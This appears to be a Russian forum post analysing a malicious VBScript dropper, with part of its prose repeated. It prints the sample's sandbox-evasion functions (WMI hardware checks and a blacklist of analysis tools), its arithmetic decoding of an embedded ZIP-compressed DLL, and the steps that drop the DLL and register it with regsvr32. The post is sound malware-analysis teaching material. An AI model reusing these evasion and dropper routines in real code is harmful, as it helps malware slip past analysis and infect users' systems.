Я нашел интересный образец VBScript, который является идеальным учебным пособием для тренировок или обучения. Он реализует неплохую технику обфускации, как и многие классические механизмы обнаружения песочницы. Сценарий является дроппером: он извлекает из своего кода DLL, которая будет загружена, если сценарий выполняется вне песочницы. Текущий счет VT составляет 25/57 (
Давайте сначала посмотрим на приемы обнаружения песочницы. Связка функций вызывается одна за другой. Сначала проверяется количество процессоров (ядер):
(Примечание: код был обфусцирован и приукрашен)
Наличие только одного ядра в 2020 году действительно подозрительно. Даже компьютеры начального уровня имеют как минимум двухъядерный процессор.
Затем доступная память и дисковое хранилище проверяются аналогичным образом с использованием WMI:
1ГБ действительно не актуально сегодня! И доступное дисковое хранилище:
60 ГБ - минимум для продолжения сценария.
Затем он также пытается обнаружить подозрительно запущенные процессы. Список довольно интересен и содержит большинство инструментов, используемых реверсерами, аналитиками безопасности или в песочницах:
Обратите внимание, что некоторые из них не являются инструментами безопасности (например, totalcmd.exe), но могут отражать систему, используемую супер-пользователем или системным администратором.
Во всех вышеперечисленных функциях вы можете видеть вызовы другой функции «WaitSeconds». Это просто останавливает сценарий. Я предполагаю, что цель состоит в том, чтобы замедлить выполнение, чтобы попытаться достичь времени ожидания песочницы. Это означает, что выполнение скрипта будет автоматически приостановлено (без подозрительного «выхода»).
Теперь давайте взглянем на кодировку, используемую для сокрытия вредоносного DLL-файла. Основная функция, используемая для этой цели, выглядит следующим образом:
По сути, результат функции pPIMITd () добавляется для создания большого буфера, который выгружается в файл. Функция pPIMITd () выглядит следующим образом:
Параметр, ожидаемый этой функцией, является массивом. Давайте проверим первое появление pPIMITd и массива «KKIpXPPlJ». Это выглядит как:
В этом массиве каждая переменная определяется как константа в скрипте. Давайте снова возьмем первый элемент массива:
В pPIMITd () элементы массива обрабатываются один за другим и добавляются в буфер через эту строку:
где 342152323 вычитается из значения элемента массива:
342152403 - 342152323 = 80.
Результат:
Второй: 342152398 - 342152323 = 75
И так далее ... Вы можете распознать две первые буквы ZIP-архива ('PK'). DLL действительно сжата. После сброса на диск скрипт распакует его:
Наконец, вредоносная DLL регистрируется:
DLL имеет оценку 38/68 (
Этот скрипт отлично выполняется в моей песочнице, а DLL была выгружена и загружена. Но мне нравится глубже изучать и понимать методы запутывания, создаваемые разработчиками вредоносных программ.
Ссылка скрыта от гостей
)Давайте сначала посмотрим на приемы обнаружения песочницы. Связка функций вызывается одна за другой. Сначала проверяется количество процессоров (ядер):
(Примечание: код был обфусцирован и приукрашен)
Visual Basic:
Function CheckAvailableCPUs()
TnHWRZVH=Cint("0")
Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Processor", , Cint("48"))
For Each XqDiZDh In uxSpQuH
If XqDiZDh.NumberOfCores < Cint("2") Then
TnHWRZVH=True
End If
Next
If TnHWRZVH Then
WaitSeconds
Else
End If
End Function
Наличие только одного ядра в 2020 году действительно подозрительно. Даже компьютеры начального уровня имеют как минимум двухъядерный процессор.
Затем доступная память и дисковое хранилище проверяются аналогичным образом с использованием WMI:
Visual Basic:
Function CheckAvailableMemory()
Set VRfvQEHCs=GetObject("winmgmts:\\.\oot\cimv2")
Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_ComputerSystem")
For Each XqDiZDh In uxSpQuH
zhlOwdMZ=zhlOwdMZ+Int((XqDiZDh.TotalPhysicalMemory) / CLng("1048576"))+Cint("1")
Next
If zhlOwdMZ < Cint("1024") Then
WaitSeconds
WaitSeconds
End If
End Function
1ГБ действительно не актуально сегодня! И доступное дисковое хранилище:
Visual Basic:
Function CheckAvailableStorage()
Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_LogicalDisk")
For Each XqDiZDh In uxSpQuH
zhlOwdMZ=zhlOwdMZ+Int(XqDiZDh.Size / Clng("1073741824"))
Next
If zhlOwdMZ < Cint("60") Then
WaitSeconds
End If
End Function
60 ГБ - минимум для продолжения сценария.
Затем он также пытается обнаружить подозрительно запущенные процессы. Список довольно интересен и содержит большинство инструментов, используемых реверсерами, аналитиками безопасности или в песочницах:
Visual Basic:
Function SearchProcesses()
FtfIrLKSv=Array("cis.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe", \
"fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe", \
"apimonitor.exe", "GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe", \
"apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe", \
"sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe", \
"sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe", \
"procanalyzer.exe", "spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe", \
"idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe", \
"bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe", \
"sython.exe", "capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe", \
"taslogin.exe","cffexplorer.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe", \
"tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe", \
"totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe", \
"raptorclient.exe","txplatform.exe","dnf.exe"," lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe", \
"vx.exe","dumpcap.exe", "lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe", \
"ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe", \
"fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe", \
"Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Process")
For Each XqDiZDh In uxSpQuH
For Each CMUDEKiI In FtfIrLKSv
If XqDiZDh.Name=CMUDEKiI Then
WaitSeconds
End If
Next
Next
End Function
Обратите внимание, что некоторые из них не являются инструментами безопасности (например, totalcmd.exe), но могут отражать систему, используемую супер-пользователем или системным администратором.
Во всех вышеперечисленных функциях вы можете видеть вызовы другой функции «WaitSeconds». Это просто останавливает сценарий. Я предполагаю, что цель состоит в том, чтобы замедлить выполнение, чтобы попытаться достичь времени ожидания песочницы. Это означает, что выполнение скрипта будет автоматически приостановлено (без подозрительного «выхода»).
Теперь давайте взглянем на кодировку, используемую для сокрытия вредоносного DLL-файла. Основная функция, используемая для этой цели, выглядит следующим образом:
Visual Basic:
Function DumpPEFile()
Dim HEcNUGQa
Dim zMObzBWv
Set HEcNUGQa=CreateObject("ADODB.Stream")
HEcNUGQa.Type=Cint("2")
HEcNUGQa.Open()
HEcNUGQa.WriteText pPIMlTd(KKIpXPPlJ)
HEcNUGQa.WriteText pPIMlTd(ZiDMLJu)
HEcNUGQa.WriteText pPIMlTd(DxhGnunhiY)
HEcNUGQa.WriteText pPIMlTd(fBkPqDgf)
HEcNUGQa.WriteText pPIMlTd(aPRPvahmZ)
...
(hundreds of line of the same type)
...
HEcNUGQa.WriteText pPIMlTd(ALyuadAJty)
HEcNUGQa.WriteText pPIMlTd(oCVjsNkH)
HEcNUGQa.WriteText pPIMlTd(GxLbWFw)
HEcNUGQa.WriteText pPIMlTd(Xqfxdkb)
HEcNUGQa.WriteText pPIMlTd(sBNoqL)
HEcNUGQa.Position=Cint("0")
Set zMObzBWv=CreateObject("ADODB.Stream")
zMObzBWv.Type=Cint("2")
zMObzBWv.Charset="ISO-8859-1"
zMObzBWv.Open()
HEcNUGQa.CopyTo(zMObzBWv)
zMObzBWv.SaveToFile TemporaryFolder+"wVo.txt", Cint("2")
HEcNUGQa.Close()
zMObzBWv.Close()
End Function
По сути, результат функции pPIMITd () добавляется для создания большого буфера, который выгружается в файл. Функция pPIMITd () выглядит следующим образом:
Visual Basic:
Function pPIMlTd(fQPAqBU)
bBzIKdZbm=0
vJSObFl=""
Do While bBzIKdZbm =< UBound(fQPAqBU)
vJSObFl=vJSObFl+ChrW(fQPAqBU(bBzIKdZbm)-342152323)
bBzIKdZbm=bBzIKdZbm+1
Loop
pPIMlTd=vJSObFl
End Function
Параметр, ожидаемый этой функцией, является массивом. Давайте проверим первое появление pPIMITd и массива «KKIpXPPlJ». Это выглядит как:
Visual Basic:
KKIpXPPlJ=Array(ktFxTLfnyfS,hBEIwAlMwVmyZp,elpiUMhGM,nYHPZHPbULMzMks,kvlmawULEvI,
yKPFeFcWsKKS,yKPFeFcWsKKS,yKPFeFcWsKKS,uKPFeFcWsKKS,yKPFeFcWsKKS,
...
uBEIwAlMwVmyZp,fvlmawULEvI,tvlmawULEvI)
В этом массиве каждая переменная определяется как константа в скрипте. Давайте снова возьмем первый элемент массива:
const ktFxTLfnyfS=342152403
В pPIMITd () элементы массива обрабатываются один за другим и добавляются в буфер через эту строку:
ChrW (fQPAqBU (bBzIKdZbm) -342152323)
где 342152323 вычитается из значения элемента массива:
342152403 - 342152323 = 80.
Результат:
ChrW (80) = ‘P ’
Второй: 342152398 - 342152323 = 75
ChrW (75) = ‘K’
И так далее ... Вы можете распознать две первые буквы ZIP-архива ('PK'). DLL действительно сжата. После сброса на диск скрипт распакует его:
Visual Basic:
Function DecompressDLL()
Dim oUpYypRUI
Set oUpYypRUI=CreateObject("Scripting.FileSystemObject")
oUpYypRUI.MoveFile TemporaryFolder+"wVo.txt", TemporaryFolder+"wVo.txt.zip"
Set DYCYgzrHa=CreateObject("Shell.Application")
Set colItems=DYCYgzrHa.NameSpace(TemporaryFolder+"wVo.txt.zip").Items()
DYCYgzrHa.NameSpace(TemporaryFolder).copyHere colItems, 16
oUpYypRUI.DeleteFile TemporaryFolder+"wVo.txt.zip", True
End Function
Наконец, вредоносная DLL регистрируется:
Visual Basic:
Function RegisterDLL()
Set VRfvQEHCs=GetObject("winmgmts:Win32_Process")
VRfvQEHCs.Create "regsvr32.exe -s "+ TemporaryFolder+"WSr.txt",,,processid
End Function
DLL имеет оценку 38/68 (
Ссылка скрыта от гостей
)Этот скрипт отлично выполняется в моей песочнице, а DLL была выгружена и загружена. Но мне нравится глубже изучать и понимать методы запутывания, создаваемые разработчиками вредоносных программ.
Ссылка скрыта от гостей